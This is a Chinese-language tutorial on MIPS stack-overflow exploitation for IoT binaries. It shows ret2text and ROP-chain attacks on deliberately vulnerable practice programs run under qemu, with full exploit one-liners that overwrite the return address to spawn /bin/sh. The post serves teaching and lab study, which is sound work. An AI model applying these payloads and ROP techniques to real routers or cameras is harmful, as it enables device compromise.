前言
MIPS 指令集主要使用在一些嵌入式的 IOT 設備中,比如路由器,攝像頭。要對這些設備進行二進制的漏洞挖掘就需要有對 MIPS 有一定的熟悉。MIPS 指令集的棧溢出與 x86 指令集的有所不同,所以漏洞的利用方式也不太相同,但是溢出的思路是一樣的:覆蓋返回地址、劫持程序控制流、構造 ROP chain 、寫 shellcode 等等。本文介紹一下最基本的 MIPS 指令集下的棧溢出的利用方法。
x86 和 MIPS 指令集的差異
1.MIPS 指令系統大量使用寄存器,包括返回地址也是存放在 ra 寄存器中
2.沒有堆棧直接操作的指令,也就是沒有 push 和 pop 指令
3.所有指令都是 32 位編碼,也就是說所有的數據和指令都是 4 字節對齊。
由於 MIPS 固定指令長度,所以造成其編譯后的二進制文件和內存占用空間比 x86 的要大
MIPS 指令集使用 uclibc C 標准庫,x86 使用 libc 的 C 標准庫
基本的指令用法和兩者的差異可以參考這里:
https://blog.csdn.net/gujing001/article/details/8476685
MIPS 的動態調試
在 qemu 上開啟一個調試端口(-g 指定端口號),在 IDA 上使用 Remote GDB debugger,填上端口號和主機名即可
./qemu-mipsel -g 23946 xxxx
具體的步驟可以看這里
https://www.jianshu.com/p/9841b412af37
- 也可以使用 gdb 進行調試,但是 gdb 需要使用專門支持 mips 指令集的 gdb 版本
葉子函數和非葉子函數
葉子函數和非葉子函數是兩個非常重要的概念,兩者的一些特性照成了對棧溢出利用方式的差異。
在某個函數中,如果這個函數不調用其他函數,那么就這個稱為葉子函數。反則這個函數就是非葉子函數
舉個例子
main 函數為葉子函數,函數中沒有調用其他函數
int main(){
int i;
int sum = 0;
for(i=0;i<5;i++){
sum = sum +i;
}
}
main 函數為非葉子函數,函數調用了其他函數(printf)
int main(){
int i;
int sum = 0;
for(i=0;i<5;i++){
sum = sum +i;
printf("sum = %d",sum);
}
}
- 葉子函數的返回地址是直接放在 ra 寄存器中,而非葉子函數需要調用另外的函數,這里的差異就照成了非葉子函數需要把當前的返回地址暫時存放在棧上
1.非葉子函數,有 sw $ra,xxx 的操作,在函數退出時,會將存放在棧上的原來存放 ra 寄存器的值重新賦值到 ra 寄存器中
2.葉子函數,沒有 sw $ra,xxx 的操作
簡單的棧溢出
用一個代碼
has_stack 函數存在棧溢出,該函數是非葉子函數,可以溢出到存放返回地址棧空間,劫持程序流
- 這里可以直接溢出到調用 vuln 函數,也就是最基本的 rop :ret2text(返回到程序已有的代碼空間中,這里返回到 vuln 函數的空間中)
#include <stdio.h>
void vuln(){
system("/bin/sh");
}
void has_stack(char *src){
char dst[20] = {0};
strcpy(dst,src);
printf("copy success!\n");
}
void main(int argc,char *argv[]){
has_stack(argv[1]);
}
動態分析
在 has_stack 函數調用 strcpy 時,下斷點
開啟服務器的遠程調試:
nick@nick-machine:~/iot/program$ ./qemu-mipsel -g 23946 StackOverflow2 aaaaaaaaaaaaaaaaaa
在 IDA 連接上 gdb調試后,F9 運行到斷點處,單步兩次。這里 strcpy 函數的兩個參數 a0、a1,函數的作用是將 a1 地址處的數據復制到 a0 地址處
沒有對 a1 的地址的數據長度做限制,所以存在棧溢出。
F8 單步步過以后,看到輸入的數據已經存放到棧上了,也可以很清楚的看到返回地址的位置。
計算偏移,得到 exp:
./qemu-mipsel StackOverflow2 `python -c "print 'a'*28+'\x90\x03\x40\x00'"`
本地運行,成功拿到 shell
has_stack 函數棧幀的排布情況
簡單畫了一個圖,便於理解(這里的棧的高地址在上)
棧的生長方向為低地址向高地址,緩沖區溢出時就向 main 函數的區域溢出,控制程序流也就需要溢出到原來的 main + 30 處的棧空間
ROP chain 的利用
在 IDA 中尋找並構造 ROP chain 是使用 mipsrop.py 這個腳本來輔助 查找的:
https://github.com/devttys0/ida/tree/master/plugins/mipsrop
- 這個腳本只支持 IDA 6.8,不支持 6.8 以上的版本
用法
有幾個主要的用法:
mipsrop.stackfinder() 尋找棧數據可控的 rop,建立和 a0、a1 寄存器的關系
mipsrop.summary() 列出所有的可用 rop
mipsrop.system() 尋找命令執行的的rop
mipsrop.find(xxx) 查找 find 函數參數的 rop,類似正則匹配
例子
這里舉一個《揭秘家用路由器 0day 漏洞挖掘技術》里面的例子,來詳細說明 ROP chain 的使用方法
源碼
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
void do_system_0(int code,char *cmd)
{
char buf[255];
//sleep(1);
system(cmd);
}
void main()
{
char buf[256]={0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;
if(0 == stat("passwd",&fileData))
fileLen = fileData.st_size;
else
return 1;
if((fp = fopen("passwd","rb")) == NULL)
{
printf("Cannot open file passwd!\n");
exit(1);
}
ch=fgetc(fp);
while(count <= fileLen)
{
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = '\x00';
if(!strcmp(buf,"adminpwd"))
{
do_system(count,"ls -l");
}
else
{
printf("you have an invalid password!\n");
}
fclose(fp);
}
溢出是在 main 函數中,很明顯 main 函數是一個非葉子函數,所以 main 的返回地址是存放在棧上的,可以覆蓋到返回地址,控制程序流
但是當我要要調用 do_system_0 函數時,他的第二個參數是在 a1 當中的,我們可控的只有棧上的內容,那個要找的 ROP chain 也就是需要將棧上的內容賦值給 a1 寄存器的匯編語句
可以直接使用 mipsrop.stackfinder() 命令來找找看
Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x00401D40 | addiu $a1,$sp,0x58+var_40 | jr 0x58+var_4($sp) |
----------------------------------------------------------------------------------------------------------------
- 在原來的 main 函數的中返回地址是 __uClibc_main 函數
分析
虛擬機中開啟動態調試,IDA 連接上
./qemu-mipsel -g 23946 vuln_system
首先是 main 函數中的棧溢出,這里要調用 rop 的地址
因為存放 ra 寄存器的棧空間被覆蓋,此時的 ra 寄存器存放的就為 rop 的地址了。
跳轉到 rop 的棧空間時,我們再進行分析:
addiu $ai,$sp,0x58+var_40 等價於 a1 = sp+0x18
lw $ra,0x58+var_4($sp) 等價於 ra = sp+0x54
jr $ra 跳到返回地址
所以這里可以分析出來,棧的排布情況:a1 在上,ra 在下,中間還有一段空間需要填充
圖中的此時已經是被我填充好了的情況
最后可以得到 exp
exp 的詳細分析
python -c "print 'a'*0x108+'\x00\x40\x1D\x40'+'b'*24+'\x2f\x62\x69\x6e'+'\x2f\x73\x68\x00'+'c'*0x34+'\x00\x40\x03\x90'" > passwd
'a' * 0x108 在 main 函數的棧空間填充到返回地址
'\x00\x40\x1D\x40' ROP chain 的地址
'b' * 24 填充為 do_system_0 的第一個參數
\x2f\x62\x69\x6e'+'\x2f\x73\x68\x00' /bin/sh 字符串
'c'*0x34 填充
'\x00\x40\x03\x90' 填充返回地址,調用 do_system_0 函數
將這個程序運行起來,會讀取 passwd 中的內容填充到程序的棧空間中,這樣就可以得到 shell
總結
最基礎的棧溢出也就是一些簡單的 rop 的利用,希望大家能多動手進行調試,在調試發現問題並慢慢進步~